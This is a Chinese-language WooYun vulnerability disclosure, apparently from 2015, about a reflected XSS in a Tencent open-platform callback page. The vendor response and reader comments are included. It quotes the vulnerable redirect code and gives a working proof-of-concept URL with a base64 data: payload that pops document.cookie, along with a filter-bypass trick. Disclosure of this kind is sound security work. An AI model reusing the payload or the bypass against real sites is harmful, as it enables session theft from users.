当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0166317

漏洞标题:腾讯某接口示例XSS跨站可打cookies

相关厂商:腾讯

漏洞作者: thx

提交时间:2015-12-31 09:55

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:XSS 跨站脚本攻击

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-31: 细节已通知厂商并且等待厂商处理中
2015-12-31: 厂商已经确认,细节仅向厂商公开
2016-01-10: 细节向核心白帽子及相关领域专家公开
2016-01-20: 细节向普通白帽子公开
2016-01-30: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

详细说明:

firefox测试最终效果,提示授权失败,然后等待3秒跳转,弹出cookie:
http://open.t.qq.com/open-js/doc/snippet/code/callback.html?return_to=data:text/html;base64,MTExMTExMTE8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=&appkey=x#1
框架调用:http://qz6666.com/2.html

QQ图片20151231003320.jpg


漏洞页面源码:

<script src="//mat1.gtimg.com/app/openjs/openjs.js#autoboot=no&amp;debug=yes"></script>
<script>
(function () {
var hashpos = location.href.lastIndexOf('#'),
search = location.search || '',

returnto = search.match(/return_to=([^&^#]+)/),
appkey = search.match(/appkey=([^&^#]+)/);

function jumpto(uri,timeout) { // 网址跳转
setTimeout(function () {
location.href = uri;
}, timeout * 1000);
}
if (!returnto) {
document.write('缺少return_to参数');
return;
} else if (!appkey) {
document.write('缺少appkey参数');
return;
} else if (hashpos == -1) {
document.write('获取授权信息失败');
return;
}
if (hashpos != -1) {

try {
QQWB.bigtable.set("base","appkey",appkey[1]); // 设置appkey,未公开方法
QQWB.auth.logout(); // 先清除之前的授权信息

QQWB._token.resolveResponse(location.href.slice(hashpos+1),false); // 解析并保存授权结果

} catch (resolveResultException) {

document.write('解析授权信息失败,' + resolveResultException); // 解析失败
return;
}

if (QQWB.loginStatus()) {

document.write('授权成功,页面跳转中,<a target="_self" href="' + returnto[1] +'">立即跳转</a>' );
jumpto(returnto[1],3);
} else {
document.write('授权失败,页面跳转中,<a target="_self" href="' + returnto[1] +'">立即跳转</a>' );
jumpto(returnto[1],3);

}

}
}());
</script>


由上不难看出,会先判断returnto,appkey,hashpos这3个参数,前两个不为空,后一个不为-1,简单构造即可满足条件。至于解析授权信息这里,开始测试的时候随便填值就过了,重点是openjs.js没看懂。。。
url的参数过滤,对data:;base64,这种形式也只判断了固定的字符串,base64字符串开头随便加些字符并不影响结果,这里转换一下即可:

11111111<script>alert(document.cookie)</script>
MTExMTExMTE8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=
http://open.t.qq.com/open-js/doc/snippet/code/callback.html?return_to=data:text/html;base64,MTExMTExMTE8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=&appkey=x#1


漏洞证明:

firefox测试最终效果,提示授权失败,然后等待3秒跳转,弹出cookie:
http://open.t.qq.com/open-js/doc/snippet/code/callback.html?return_to=data:text/html;base64,MTExMTExMTE8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=&appkey=x#1
框架调用:http://qz6666.com/2.html

QQ图片20151231003320.jpg

修复方案:

版权声明:转载请注明来源 thx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-12-31 15:36

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-31 16:06 | 夏殇 ( 实习白帽子 | Rank:32 漏洞数:22 | 不忘初心,方得始终。)

    这XSS找的这么easy?一下子3个

  2. 2015-12-31 16:38 | Mieless ( 实习白帽子 | Rank:35 漏洞数:10 | 我是来打酱油的。)

    又来

  3. 2015-12-31 19:29 | 随风的风 ( 普通白帽子 | Rank:201 漏洞数:69 | 微信公众号:233sec 不定期分享各种漏洞思...)

    这XSS找的这么easy?一下子3个

  4. 2015-12-31 20:12 | Sneer ( 路人 | Rank:0 漏洞数:1 | 一根小白菜)

    十有八九社工来的肯定不是自己挖的@夏殇

  5. 2015-12-31 21:52 | 薄雾 ( 路人 | Rank:10 漏洞数:2 | 喜欢交友。喜欢动脑。)

    最近腾讯XSS比较多啊

  6. 2015-12-31 23:00 | Mengter ( 路人 | Rank:4 漏洞数:1 | 太难了.)

    这哥们在腾讯工作吧。

  7. 2015-12-31 23:56 | 1937nick ( 普通白帽子 | Rank:123 漏洞数:40 | 水能载舟,亦能煮粥。物尽其用,人尽其能。)

    哎妈呀! 腾讯没放假